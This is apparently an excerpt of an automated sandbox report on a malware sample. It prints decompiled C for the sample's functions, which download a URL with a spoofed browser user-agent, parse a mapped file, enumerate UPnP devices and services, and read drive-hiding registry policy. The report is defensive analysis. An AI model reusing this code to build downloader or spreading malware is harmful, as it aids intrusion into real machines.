LOCATION: , xrefs: 0040C515

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}

0x0040d446
0x0040d45d
0x0040d464
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNEL32(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 12.1, APIs: 8, Instructions: 97
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x416398);
				_t35 = CreateFileW(0x4165c8, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

APIs

InitializeCriticalSection.KERNEL32(00416398,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNEL32(004165C8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d0c
0x00404d0e
0x00404d15
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.ADVAPI32 ref: 00404D04
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 9.2, APIs: 6, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x416398);
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
